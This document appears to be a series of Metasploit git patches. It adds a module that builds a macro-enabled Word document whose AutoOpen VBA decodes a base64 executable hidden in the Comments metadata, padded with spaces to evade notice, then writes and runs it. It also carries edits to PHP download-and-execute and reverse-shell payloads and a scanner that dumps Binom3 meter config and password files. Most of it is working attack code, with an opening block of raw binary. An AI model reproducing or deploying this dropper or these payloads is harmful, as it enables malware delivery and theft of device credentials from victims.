zXsiZK5*!P35=eP$lmJQtpL8OLNC(_V!zm4zQbQ?Q;?byqQW_wofl5Ho_}uc^r=FfF<{Z2(SeB3B(eT)DcTS?5LoCEc?`C1^bfq0A+{#WR}Ya zr36T+zt=NSJzs2by*jnZXz(R)Pz_H-P4y3eGSScGi_FV>egnibFiZo&G!RS!z%=kn z1HRPI%Xh3ViP~v;Lo@I@W|I0lW}G#Iqk3;(0>32qGNLL#iGpZ(C2t=g1XGKK-rs}X zzg517_cGQdo6ygDWYRa{cPz`lh(b8@EIS32SI+>?L*_cVnNoQu9!qKPCeTeTu+@}+ zjX7{vZlIh=+(1%!8&I|%Ws~Cwoo8kkjhx4u1)8q8^C)8H9n34E{VXpCX z&2nO3^rM!8oMyjJnXlpT=p4 zM3Q!iXPbBqiRYAfp2d^$HpWY&>>ENvc}q0T?F%xGG5=focLi1$+<4euPs6 zDuu=e!(kp#Q8uOb1D}miTxAq#TH;BLX(A!eR0t9NDBx6~E`&uJS<_%HZ!E9m>X?#L z^n4;HM*~=qlV~qB38@`W30w(;P>>F^BDoH;@A8BiRo_P`H zpu7^#185=jJvE)?RoWSmKJAzXd(o{VDS~@RkLnf;ts2qqlo*ckEMr5M*|i)gpH<8U zHHa#~FwMZnlw>@G@+~6n21tzL=)!C;AjyKaYQ8pFJ?gOnX=+E6sOHqwd<;0Wp-PTA zp)jcmP08owf^q&ouzuZuvdTagA5OvtyW+jZv^DPR<9! zDQ5#hnp*uU7!3nla5Q0D&=p5&LBCT}<@kiE>mSMEm1H8U9cCi{Jx1{?!!HHygQ-992G_8e9l;Rj5jB7iJRoTN@}7MwSx--))@lT z6D|b00<7o~=nROqN`;_b{~wBpt-0pSTLhwB^N!*f4l*pph6zuJELu(o{y&>!$=(Uf z)3A2Z?yu=vS|emjN;YJ^CQ?v* z#W%Q>gh<21jA~-Ura?4v;gb{J^+zwPbVgw-7RAx^_2AR!5thkALy6utYgtlM3Db?t z=EMoK6&5%y@#n#_1}Jk2j)WS=wI~$OxeH&7Smf8hy6GOAi)*kjdEhsI0$4-_bo{y% z2W%g^7stc_@Vi+j{<>i?qH#K5&lC_icc0GD?C%D26nrOgrIf^N#>v|Wo2U-_Z2^a@ zp^Ugsg4oUOhIi1Addy@i$gQX_OV+)62w;!Bm2#bx>1@w zSafwma!n|!8xrxOtmSgrFQgGho|MvwI#KS!u;EgWJC)Ue@`pvumfBkW?`1Wm8hI?V zKRa}N((#B|WJ_m1Y7k>#)O1ovBn2z66zZlxR@Km|0r5uPNoJH@MQ9i;rj|FO4L)cB z<`u+W=;`bcqG33JMV3m-@&4xEpteFHv1490Jdkn=Hlj^vc@1=+3X=4L<3q>|o*Qpf zpeEGC&>SDWYU86u=X=CBq1x}fZruooHo4Sw{5Iw0tmZUW;_@nXFEc#y4 znr@VDjG^W9C0o}%iOvwHBVidX#ALWamKdRb#h}#)uLYIpIHS=!8Wv~FmYT0EEQ@&y zZwvOd**qh^1wVF0259v`)@ZBIJGY>>7Qnu0NG+2o#Z~YJrO9N-Q|bmqQy|E zr6#kK`L#%5CQ~La7dw-on+$R#l~oJ=)4fCE;X6YAER<4=*jUfeBXTYT^;TB-?s9HkvD&Q&ft^ZhVN+*?24sE zW|9(B6yD3EH0&**wj<`k{qbb@j}P0Jsc@g)_pd*(u^jXMNX%XL%DsB9+LL=i57yO8 zA!ssVEBDP8ZOm*&lDg-%=%Jm@Ba~a%lZ=zuTh;S6X0fK!FwR>K40un@+KhApGI`)f9qmxjQRYOtB`AZ%Sreh6kE_LJIn^7%tHW1h}cLf{tv%{2u!mD)bO$Q z9-!hw!aA@Y=8a?w_}On!^xlcs;2Vf;9wxiO8lXftJ-z=Jgk;w8&WzYtzL^fcno*hO z%OrKOE8DPvz8I!uk=WkX(F=@B$AHL;tUwlwY{xoA{t#lwK^S&pp$00nIhl;3Mmdb^ zyp)okQ~B8km%Cjg$N)~~0T^K7=>IgTXf>0S7BQcA(|Dt!&QX;r8*3#Kx1#-2xdbZb z`<@Ly$vH9%qa>J7>4@0tU!~GvTlDqEDF9oa+n{XoUG0Z-lY`x{x_6QPX zq3?sI>x2r+$yjh)S&dFzY3PZT*!c9-3y{s?Pw1Fmb)a237v`2^O9^XQWnCf3sxvj} zk54_;yAWki%aioyu{{gdC^~$Gj@VmMZ2jl+ws{`O>*n8F)y+@zt}T6aQ-IrEg~F0XXWL)VN&n+IvcDn> zfllkR5?)VwLJ)c_TFmV737Y@7j_l8y;;?u|7&wcU4 zx8Fp&mUCds1h!@GG5rfBOmZ{g$y$mKg@#>V*FaBicWbZj zUiUztyR);q3xUq|KyP;+0@!{M?Q~MGd8f0fqXU)2;)UP3`F#*^{yJR_BtJ9Mh3etc zc`xYx;^~EIlcO2`&evuIGOg8XlZ=lVGjeJ`pNBCGYn#{s%@dRG{_fr;XLpC6T1(QR zjkc(g-UU=8GT0#J(|IrJzE^OK2UW?nL_k0s<;{oy0qLulv50vFv`x2I$Ea{BLSs?! z6?#uo@p@@&ug?3j?)Mla3!jSbc;mgQ_ix`|`_}(w-(XGu54$5K-=YkoiA$^b;HmFoPihX!VY?LEW8C}2==oh;XeE~!T?1eBX z;?QrIQ`qz}39SWsNx0<%_&|CKYQX6O8kfXoA%S>=hK&NJF;K$3EIce5yMq)9kd#W3 z$S|c9`KdrJ2sca2*9EaGMmx?>bT~tH#^^zvPGIQeKBNg=^up`7FnU~zj!o9$Z+-ao zlKu@tOX3J?rT3v^LKY*Ug@naMu~$>jHk4Ta*#Vgvz<^{0AcVjvAjvrqX9@&?7hu>i z!q4c>FaDO6KZWuyAr?79){9g4ffMQ&KMNnx6o5)(8A;~w)`Mt(kRzXZi-VTO|EbSt z3L!^2U^wGl`(~onSZNx}KF!7F>%sAb$}yaFsmspb4x+e6ptrF_6X*v5QCV~9GU$_$ zJ$#Pe|HfzwihiJ8&|Li!&t!(aqLCN=!~V&K-@_+rMSD}D{kYFp=ke4xHB>d%@AOpF z;I~ax^)1bTs@f)ZZEb_w?Q=CW-Gg5o8mF_y>}mg|ZEe_w3s;nn9~MnSmB#rcpeUbC zT#a^p2|ylgN;H9+KNZJfD%%CtJ|&sL)?1t!)d-9%sy&VN>V|5M2fr|*2!YPlM!Ub- z@2++Gn(KXjPc~7#di;&{7FUbM?P;oYS8D`*YoO8YY4WrLT0DVjcU^t8hp1sEJ{9HP z-WG>(LGzTV#BfBz?eR$bj-vee#<&}gS0i#$U5%?M(9+?B){qdgz{}i7iS}tYwJrnI&mvfn~V{GJRGIRJ9#2h;T+6>AC a(QnY{#)EMEB-%iZG?Errj8%=Z^4|e_d6Inq literal 0 HcmV?d00001 diff --git a/data/exploits/office_word_macro/word/webSettings.xml b/data/exploits/office_word_macro/word/webSettings.xml new file mode 100644 index 0000000000..f660c38903 --- /dev/null +++ b/data/exploits/office_word_macro/word/webSettings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/external/source/exploits/office_word_macro/macro.vba b/external/source/exploits/office_word_macro/macro.vba new file mode 100644 index 0000000000..7e115b0319 --- /dev/null +++ b/external/source/exploits/office_word_macro/macro.vba @@ -0,0 +1,88 @@ +Sub AutoOpen() + On Error Resume Next + Dim found_value As String + + For Each prop In ActiveDocument.BuiltInDocumentProperties + If prop.Name = "Comments" Then + found_value = Mid(prop.Value, 56) + orig_val = Base64Decode(found_value) + Set fso = CreateObject("Scripting.FileSystemObject") + tmp_folder = fso.GetSpecialFolder(2) + tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe" + Set f = fso.createTextFile(tmp_name) + f.Write (orig_val) + f.Close + CreateObject("WScript.Shell").Run (tmp_name) + End If + Next +End Sub + + +' Decodes a base-64 encoded string (BSTR type). +' 1999 - 2004 Antonin Foller, http://www.motobit.com +' 1.01 - solves problem with Access And 'Compare Database' (InStr) +Function Base64Decode(ByVal base64String) + 'rfc1521 + '1999 Antonin Foller, Motobit Software, http://Motobit.cz + Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" + Dim dataLength, sOut, groupBegin + + 'remove white spaces, If any + base64String = Replace(base64String, vbCrLf, "") + base64String = Replace(base64String, vbTab, "") + base64String = Replace(base64String, " ", "") + + 'The source must consists from groups with Len of 4 chars + dataLength = Len(base64String) + If dataLength Mod 4 <> 0 Then + Err.Raise 1, "Base64Decode", "Bad Base64 string." + Exit Function + End If + + + ' Now decode each group: + For groupBegin = 1 To dataLength Step 4 + Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut + ' Each data group encodes up To 3 actual bytes. + numDataBytes = 3 + nGroup = 0 + + For CharCounter = 0 To 3 + ' Convert each character into 6 bits of data, And add it To + ' an integer For temporary storage. If a character is a '=', there + ' is one fewer data byte. (There can only be a maximum of 2 '=' In + ' the whole string.) + + thisChar = Mid(base64String, groupBegin + CharCounter, 1) + + If thisChar = "=" Then + numDataBytes = numDataBytes - 1 + thisData = 0 + Else + thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1 + End If + If thisData = -1 Then + Err.Raise 2, "Base64Decode", "Bad character In Base64 string." + Exit Function + End If + + nGroup = 64 * nGroup + thisData + Next + + 'Hex splits the long To 6 groups with 4 bits + nGroup = Hex(nGroup) + + 'Add leading zeros + nGroup = String(6 - Len(nGroup), "0") & nGroup + + 'Convert the 3 byte hex integer (6 chars) To 3 characters + pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _ + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _ + Chr(CByte("&H" & Mid(nGroup, 5, 2))) + + 'add numDataBytes characters To out string + sOut = sOut & Left(pOut, numDataBytes) + Next + + Base64Decode = sOut +End Function diff --git a/modules/exploits/windows/fileformat/office_word_macro.rb b/modules/exploits/windows/fileformat/office_word_macro.rb new file mode 100644 index 0000000000..84d350a00c --- /dev/null +++ b/modules/exploits/windows/fileformat/office_word_macro.rb @@ -0,0 +1,109 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Office Word Malicious Macro Execution", + 'Description' => %q{ + This module generates a macro-enabled Microsoft Office Word document. The comments + metadata in the data is injected with a Base64 encoded payload, which will be + decoded by the macro and execute as a Windows executable. + + For a successful attack, the victim is required to manually enable macro execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r' # Metasploit + ], + 'References' => + [ + ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => false + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Microsoft Office Word', {}], + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 10 2012", + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new("BODY", [false, 'The message for the document body', '']), + OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) + ], self.class) + end + + + def on_file_read(short_fname, full_fname) + buf = File.read(full_fname) + + case short_fname + when /document\.xml/ + buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) + when /core\.xml/ + b64_payload = ' ' * 55 + b64_payload << Rex::Text.encode_base64(generate_payload_exe) + buf.gsub!(/PAYLOADGOESHERE/, b64_payload) + end + + # The original filename of __rels is actually ".rels". + # But for some reason if that's our original filename, it won't be included + # in the archive. So this hacks around that. + case short_fname + when /__rels/ + short_fname.gsub!(/\_\_rels/, '.rels') + end + + yield short_fname, buf + end + + + def package_docm(path) + zip = Rex::Zip::Archive.new + + Dir["#{path}/**/**"].each do |file| + p = file.sub(path+'/','') + + if File.directory?(file) + print_status("Packaging directory: #{file}") + zip.add_file(p) + else + on_file_read(p, file) do |fname, buf| + print_status("Packaging file: #{fname}") + zip.add_file(fname, buf) + end + end + end + + zip.pack + end + + + def exploit + print_status('Generating our docm file...') + path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro') + docm = package_docm(path) + file_create(docm) + super + end + +end From c9560b5aa8e0ba8990951baa2d231ecccbddde09 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 2 Feb 2017 17:48:28 -0600 Subject: [PATCH 065/426] Add error_reporting to preamble --- lib/msf/core/payload/php.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/payload/php.rb b/lib/msf/core/payload/php.rb index 6940c3bb13..7c26b2c721 100644 --- a/lib/msf/core/payload/php.rb +++ b/lib/msf/core/payload/php.rb @@ -26,6 +26,7 @@ module Msf::Payload::Php # Canonicalize the list of disabled functions to facilitate choosing a # system-like function later. preamble = "/* Date: Thu, 2 Feb 2017 17:57:03 -0600 Subject: [PATCH 066/426] Push up the preamble and modernize style --- lib/msf/core/exploit/php_exe.rb | 3 +-- lib/msf/core/payload/php/bind_tcp.rb | 2 +- modules/payloads/singles/php/bind_php.rb | 2 +- modules/payloads/singles/php/download_exec.rb | 4 ++-- modules/payloads/singles/php/meterpreter_reverse_tcp.rb | 2 +- modules/payloads/singles/php/reverse_php.rb | 4 ++-- modules/payloads/singles/php/shell_findsock.rb | 5 ++--- 7 files changed, 10 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/exploit/php_exe.rb b/lib/msf/core/exploit/php_exe.rb index 8dd0b0b6ee..6ee0d10b51 100644 --- a/lib/msf/core/exploit/php_exe.rb +++ b/lib/msf/core/exploit/php_exe.rb @@ -52,14 +52,13 @@ module Exploit::PhpEXE end p = Rex::Text.encode_base64(generate_payload_exe) php = %Q{ - error_reporting(0); + #{php_preamble} $ex = "#{bin_name}"; $f = fopen($ex, "wb"); fwrite($f, base64_decode("#{p}")); fclose($f); chmod($ex, 0777); function my_cmd($cmd) { - #{php_preamble} #{php_system_block}; } if (FALSE === strpos(strtolower(PHP_OS), 'win' )) { diff --git a/lib/msf/core/payload/php/bind_tcp.rb b/lib/msf/core/payload/php/bind_tcp.rb index 4e78d65711..4756ce810d 100644 --- a/lib/msf/core/payload/php/bind_tcp.rb +++ b/lib/msf/core/payload/php/bind_tcp.rb @@ -86,7 +86,7 @@ if (!$s) { die(); } php << php_send_uuid if include_send_uuid - php << %Q^switch ($s_type) { + php << %Q^switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } diff --git a/modules/payloads/singles/php/bind_php.rb b/modules/payloads/singles/php/bind_php.rb index f6a35f64cb..3627d41cbf 100644 --- a/modules/payloads/singles/php/bind_php.rb +++ b/modules/payloads/singles/php/bind_php.rb @@ -43,7 +43,7 @@ module MetasploitModule dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4); shell = <<-END_OF_PHP_CODE - #{php_preamble({:disabled_varname => dis})} + #{php_preamble(disabled_varname: dis)} $port=#{datastore['LPORT']}; $scl='socket_create_listen'; diff --git a/modules/payloads/singles/php/download_exec.rb b/modules/payloads/singles/php/download_exec.rb index e0faa3633f..414f26e25d 100644 --- a/modules/payloads/singles/php/download_exec.rb +++ b/modules/payloads/singles/php/download_exec.rb @@ -40,7 +40,7 @@ module MetasploitModule exename = Rex::Text.rand_text_alpha(rand(8) + 4) dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) shell = <<-END_OF_PHP_CODE - #{php_preamble({:disabled_varname => dis})} + #{php_preamble(disabled_varname: dis)} if (!function_exists('sys_get_temp_dir')) { function sys_get_temp_dir() { if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); } @@ -64,7 +64,7 @@ module MetasploitModule fclose($fd_out); chmod($fname, 0777); $c = $fname; - #{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})} + #{php_system_block(cmd_varname: "$c", disabled_varnam: dis)} @unlink($fname); END_OF_PHP_CODE diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 823c738885..4369d2a5cf 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -38,7 +38,7 @@ module MetasploitModule uuid = generate_payload_uuid bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"") + met = met.sub(%q|"PAYLOAD_UUID", ""|, %Q|"PAYLOAD_UUID", "#{bytes}"|) met.gsub!(/#.*$/, '') met = Rex::Text.compress(met) diff --git a/modules/payloads/singles/php/reverse_php.rb b/modules/payloads/singles/php/reverse_php.rb index 95b71cea29..bb0dbb5ad5 100644 --- a/modules/payloads/singles/php/reverse_php.rb +++ b/modules/payloads/singles/php/reverse_php.rb @@ -66,12 +66,12 @@ module MetasploitModule shell=<<-END_OF_PHP_CODE $ipaddr='#{ipaddr}'; $port=#{port}; - #{php_preamble({:disabled_varname => "$dis"})} + #{php_preamble(disabled_varname: "$dis")} if(!function_exists('#{exec_funcname}')){ function #{exec_funcname}($c){ global $dis; - #{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})} + #{php_system_block(cmd_varname: "$c", disabled_varname: "$dis", output_varname: "$o")} return $o; } } diff --git a/modules/payloads/singles/php/shell_findsock.rb b/modules/payloads/singles/php/shell_findsock.rb index 1595e817e7..9190671866 100644 --- a/modules/payloads/singles/php/shell_findsock.rb +++ b/modules/payloads/singles/php/shell_findsock.rb @@ -50,13 +50,12 @@ module MetasploitModule var_fd = '$' + Rex::Text.rand_text_alpha(rand(4) + 6) var_out = '$' + Rex::Text.rand_text_alpha(rand(4) + 6) shell = <"); flush(); function mysystem(#{var_cmd}){ - #{php_preamble()} - #{php_system_block({:cmd_varname=>var_cmd, :output_varname => var_out})} + #{php_system_block(cmd_varname: var_cmd, output_varname: var_out)} return #{var_out}; } From 83cb65d3a2668e8895eb23165be8179803b93f3d Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 2 Feb 2017 19:07:58 -0600 Subject: [PATCH 067/426] Don't spin CPU if an fopen fails Because PHP is happy to continue on just fine in that case and the loop below will run unbounded spewing warnings about reading from `false`. --- modules/payloads/singles/php/download_exec.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/payloads/singles/php/download_exec.rb b/modules/payloads/singles/php/download_exec.rb index 414f26e25d..0dd7fecec6 100644 --- a/modules/payloads/singles/php/download_exec.rb +++ b/modules/payloads/singles/php/download_exec.rb @@ -56,7 +56,9 @@ module MetasploitModule } $fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe"; $fd_in = fopen("#{datastore['URL']}", "rb"); + if ($fd_in === false) { die(); } $fd_out = fopen($fname, "wb"); + if ($fd_out === false) { die(); } while (!feof($fd_in)) { fwrite($fd_out, fread($fd_in, 8192)); } From e9ba6fe7fd85c9aced58f2bdc60c02c053a017cb Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 2 Feb 2017 20:42:46 -0600 Subject: [PATCH 068/426] Add doc --- .../windows/fileformat/office_word_macro.md | 45 +++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 documentation/modules/exploit/windows/fileformat/office_word_macro.md diff --git a/documentation/modules/exploit/windows/fileformat/office_word_macro.md b/documentation/modules/exploit/windows/fileformat/office_word_macro.md new file mode 100644 index 0000000000..04988217b6 --- /dev/null +++ b/documentation/modules/exploit/windows/fileformat/office_word_macro.md @@ -0,0 +1,45 @@ +## Description + +This module generates a macro-enabled Microsoft Office Word document. + +The module injects the Base64-encoded payload in the comments field, which will get decoded +back by the macro and executed as a Windows executable when the Office document is launched. + +Please note that the user most likely will need to manually allow/enable the macro to run +in order to be compromised. + + +## Vulnerable Application + +A Windows machine with Microsoft Office installed. The Office application must support the docm +format. + +Specifically, this module was tested specifically against Microsoft Office 2013. + +## Verification Steps + +1. ```use exploit/windows/fileformat/office_word_macro``` +2. ```set PAYLOAD [PAYLOAD NAME]``` +3. Configure the rest of the settings accordingly (BODY, LHOST, LPORT, etc) +4. ```exploit``` +5. The module should generate the malicious docm. + +## Options + +**BODY** Text to put in the Office document. + +## Modification + +To use this exploit in a real environment, you will most likely need to modify the docm content. +Here's one approach you can do: + +1. Use the module to generate the malicious docm +2. Copy the malicious docm to a Windows machine, and edit it with Microsoft Office (such as 2013). + When you open the document, the payload will probably do something on your machine. It's ok, + since you generated it, it should not cause any problems for you. +3. Save the doc, and test again to make sure the payload still works. + +While editing, you should avoid modifying the following unless you are an advanced user: + +* The comments field. +* The VB code in the macro. From c73c189a61424a2b21438d88eed2bf1fbe457ecd Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 3 Feb 2017 11:25:50 -0600 Subject: [PATCH 069/426] Set DisablePayloadHandler default to true --- modules/exploits/windows/fileformat/office_word_macro.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/office_word_macro.rb b/modules/exploits/windows/fileformat/office_word_macro.rb index 84d350a00c..f13e9a2925 100644 --- a/modules/exploits/windows/fileformat/office_word_macro.rb +++ b/modules/exploits/windows/fileformat/office_word_macro.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'DisablePayloadHandler' => false + 'DisablePayloadHandler' => true }, 'Platform' => 'win', 'Targets' => From 2457968a247dda37ee949a7e98fbafe8012cfc4c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 3 Feb 2017 11:45:34 -0600 Subject: [PATCH 070/426] Update doc --- .../modules/exploit/windows/fileformat/office_word_macro.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/fileformat/office_word_macro.md b/documentation/modules/exploit/windows/fileformat/office_word_macro.md index 04988217b6..561a9bd3a1 100644 --- a/documentation/modules/exploit/windows/fileformat/office_word_macro.md +++ b/documentation/modules/exploit/windows/fileformat/office_word_macro.md @@ -14,7 +14,10 @@ in order to be compromised. A Windows machine with Microsoft Office installed. The Office application must support the docm format. -Specifically, this module was tested specifically against Microsoft Office 2013. +Specifically, this module was tested specifically against: + +* Microsoft Office 2010. +* Microsoft Office 2013. ## Verification Steps From 92e065c21bbf32f391dcf4364861bd377cd1768f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 3 Feb 2017 11:48:18 -0600 Subject: [PATCH 071/426] Update doc --- .../modules/exploit/windows/fileformat/office_word_macro.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/fileformat/office_word_macro.md b/documentation/modules/exploit/windows/fileformat/office_word_macro.md index 561a9bd3a1..b7cc06de0b 100644 --- a/documentation/modules/exploit/windows/fileformat/office_word_macro.md +++ b/documentation/modules/exploit/windows/fileformat/office_word_macro.md @@ -31,6 +31,7 @@ Specifically, this module was tested specifically against: **BODY** Text to put in the Office document. + ## Modification To use this exploit in a real environment, you will most likely need to modify the docm content. @@ -44,5 +45,7 @@ Here's one approach you can do: While editing, you should avoid modifying the following unless you are an advanced user: -* The comments field. +* The comments field. If you have to modify this, make sure to create 55 empty spaces + in front of the payload string. The blank space is for making the payload less obvious + at first sight if the user views the file properties. * The VB code in the macro. From f3f774b9c7129c8ec907ed5c66aaf6742fac5d2b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 3 Feb 2017 12:01:51 -0600 Subject: [PATCH 072/426] Add demo --- .../modules/exploit/windows/fileformat/office_word_macro.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/documentation/modules/exploit/windows/fileformat/office_word_macro.md b/documentation/modules/exploit/windows/fileformat/office_word_macro.md index b7cc06de0b..19e306d543 100644 --- a/documentation/modules/exploit/windows/fileformat/office_word_macro.md +++ b/documentation/modules/exploit/windows/fileformat/office_word_macro.md @@ -31,6 +31,9 @@ Specifically, this module was tested specifically against: **BODY** Text to put in the Office document. +## Demo + +![macro_demo](https://cloud.githubusercontent.com/assets/1170914/22602348/751f9d66-ea08-11e6-92ce-4e52f88aaebf.gif) ## Modification From 9a5d5eec2e6caae7e5b17a304d2418c085b8ce65 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 3 Feb 2017 10:04:05 -0800 Subject: [PATCH 073/426] Bump version of framework to 4.13.20 --- Gemfile.lock | 2 +- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index f0f54e42b6..5bc921e12c 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.13.19) + metasploit-framework (4.13.20) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index c2a6913643..291011f44d 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.13.19" + VERSION = "4.13.20" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 6e692b1a1cd317c8cacf48eb978657c32ff82dff Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 3 Feb 2017 14:03:48 -0600 Subject: [PATCH 074/426] Update doc --- .../windows/fileformat/office_word_macro.md | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/windows/fileformat/office_word_macro.md b/documentation/modules/exploit/windows/fileformat/office_word_macro.md index 19e306d543..334ae1fc29 100644 --- a/documentation/modules/exploit/windows/fileformat/office_word_macro.md +++ b/documentation/modules/exploit/windows/fileformat/office_word_macro.md @@ -1,12 +1,16 @@ ## Description -This module generates a macro-enabled Microsoft Office Word document. +This module generates a macro-enabled Microsoft Office Word document. It does not target a specific +CVE or vulnerability, this is more of a feature-abuse in Office, however this type of +social-engineering attack still remains common today. -The module injects the Base64-encoded payload in the comments field, which will get decoded -back by the macro and executed as a Windows executable when the Office document is launched. +There are many ways to create this type of malicious doc. The module injects the Base64-encoded +payload in the comments field, which will get decoded back by the macro and executed as a Windows +executable when the Office document is launched. -Please note that the user most likely will need to manually allow/enable the macro to run -in order to be compromised. +Please note: By default, Microsoft Office does not execute macros automatically. If a macro is +present, the user will most likely need to manually click on the "Enable Content" button in order +to run the macro. ## Vulnerable Application @@ -29,7 +33,7 @@ Specifically, this module was tested specifically against: ## Options -**BODY** Text to put in the Office document. +**BODY** Text to put in the Office document. See **Modification** below if you wish to modify more. ## Demo From 5db1d958b085c26047460ecb00bf3e2fecf48843 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 3 Feb 2017 14:08:28 -0600 Subject: [PATCH 075/426] Update doc --- .../modules/exploit/windows/fileformat/office_word_macro.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/documentation/modules/exploit/windows/fileformat/office_word_macro.md b/documentation/modules/exploit/windows/fileformat/office_word_macro.md index 334ae1fc29..c8b3df7d45 100644 --- a/documentation/modules/exploit/windows/fileformat/office_word_macro.md +++ b/documentation/modules/exploit/windows/fileformat/office_word_macro.md @@ -37,6 +37,11 @@ Specifically, this module was tested specifically against: ## Demo +In this example, first we generate the malicious docm exploit, and then we set up a +windows/meterpreter/reverse_tcp handler to receive a session. Next, we copy the docm +exploit to a Windows machine with Office 2013 installed, when the document runs the +macro, we get a session: + ![macro_demo](https://cloud.githubusercontent.com/assets/1170914/22602348/751f9d66-ea08-11e6-92ce-4e52f88aaebf.gif) ## Modification From 34b861403ee6845507f271e166ce517fbac61e86 Mon Sep 17 00:00:00 2001 From: juushya Date: Sat, 4 Feb 2017 01:44:18 +0530 Subject: [PATCH 076/426] Minor updates --- .../http/binom3_login_config_pass_dump.rb | 55 +++++++++---------- 1 file changed, 26 insertions(+), 29 deletions(-) diff --git a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb index 65c47dc93f..c4c3d0717b 100644 --- a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb +++ b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb @@ -16,11 +16,10 @@ class MetasploitModule < Msf::Auxiliary 'Name' => 'Binom3 Web Management Login Scanner, Config and Password File Dump', 'Description' => %{ This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. The module attempts to download configuration and password files depending on the login user credentials found. - }, 'References' => [ - ['URL', 'https://ics-cert.us-cert.gov/alerts/ICS-ALERT-16-263-01'] + ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-031-01'] ], 'Author' => [ @@ -149,18 +148,18 @@ class MetasploitModule < Msf::Auxiliary get_cookie = res.get_cookies cookie = get_cookie + ' NO-HELP=true; onlyRu=1' - # Attempting to download config / password file(s) + # Attempting to download config file config_uri = '~cfg_ask_xml?type=cfg' res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie }) if res && res.code == 200 - print_good('++++++++++++++++++++++++++++++++++++++') - print_good("#{rhost} - dumping configuration") - print_good('++++++++++++++++++++++++++++++++++++++') + vprint_status('++++++++++++++++++++++++++++++++++++++') + vprint_status("#{rhost} - dumping configuration") + vprint_status('++++++++++++++++++++++++++++++++++++++') - print_good("#{rhost}:#{rport} - File retrieved successfully!") 